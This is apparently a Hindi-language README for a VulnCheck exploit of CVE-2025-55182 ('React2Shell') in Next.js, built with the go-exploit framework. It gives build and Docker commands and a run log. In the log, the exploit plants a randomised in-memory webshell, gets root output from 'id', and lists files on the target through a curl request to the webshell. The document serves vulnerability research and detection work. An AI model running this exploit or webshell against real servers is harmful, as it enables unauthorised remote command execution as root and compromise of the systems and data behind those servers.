
VulnCheck CVE-2025-55182 react2shell
CVE-2025-55182 React2Shell भेद्यता के लिए VulnCheck Initial Access Intelligence आर्टिफैक्ट्स के एक छोटे उपसमुच्चय का निर्यात। इन आर्टिफैक्ट्स पर टीम की कुछ टिप्पणियाँ ब्लॉग पोस्ट में पढ़ी जा सकती हैं।
सभी घटक हमारे एक्सप्लॉइट फ्रेमवर्क go-exploit से निर्मित हैं। प्रत्येक निर्देशिका में रुचिकर आर्टिफैक्ट की एक प्रतिलिपि होती है।
यदि आपके पास golangci-lint और GNU make के साथ एक Go बिल्ड वातावरण उपलब्ध है, तो आप make का उपयोग कर सकते हैं:
$ make
gofmt -d -w cve-2025-55182.go
golangci-lint run --fix --timeout 3m cve-2025-55182.go
0 issues.
GOOS=linux GOARCH=amd64 go build -o build/cve-2025-55182_linux-amd64 cve-2025-55182.go
एक्सप्लॉइट को डॉकर इमेज में बनाने के लिए बस:
make docker
यह React2Shell का उपयोग करके next.js के विरुद्ध एक इन-मेमोरी वेबशेल का कार्यान्वयन है। हमने इसे पहली बार यहाँ प्रदर्शित देखा। प्रत्येक नए हमले पर वेबशेल को यादृच्छिक (randomized) किया जाता है।
poptart@grimm $ ./build/cve-2025-55182_linux-amd64 -rhost 172.17.0.1 -rport 3000 -e
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Starting target" index=0 host=172.17.0.1 port=3000 ssl=false "ssl auto"=false
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Generating webshell payload"
time=2025-12-08T15:28:06.893-07:00 level=STATUS msg="Uploading webshell to target"
time=2025-12-08T15:28:16.902-07:00 level=ERROR msg="HTTP request error: Post \"http://172.17.0.1:3000/\": context deadline exceeded (Client.Timeout exceeded while awaiting headers)"
time=2025-12-08T15:28:16.902-07:00 level=SUCCESS msg="Webshell installed!" location=http://172.17.0.1:3000/UByGoR
time=2025-12-08T15:28:16.902-07:00 level=STATUS msg="Testing `id`" testurl="http://172.17.0.1:3000/UByGoR?z=id"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="uid=0(root) gid=0(root) groups=0(root)\n"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
poptart@grimm $ curl http://172.17.0.1:3000/UByGoR?z=ls%20-l
total 72
-rw-r--r-- 1 root root 77 Dec 4 23:41 jsconfig.json
-rw-r--r-- 1 root root 92 Dec 4 23:41 next.config.mjs
drwxr-xr-x 172 root root 173 Dec 4 23:41 node_modules
-rw-r--r-- 1 root root 16384 Dec 4 23:41 notes.db
-rw-r--r-- 1 root root 123663 Dec 4 23:41 package-lock.json
-rw-r--r-- 1 root root 467 Dec 4 23:41 package.json
-rw-r--r-- 1 root root 6028 Dec 4 23:41 seed.sql
drwxr-xr-x 3 root root 3 Dec 4 23:41 src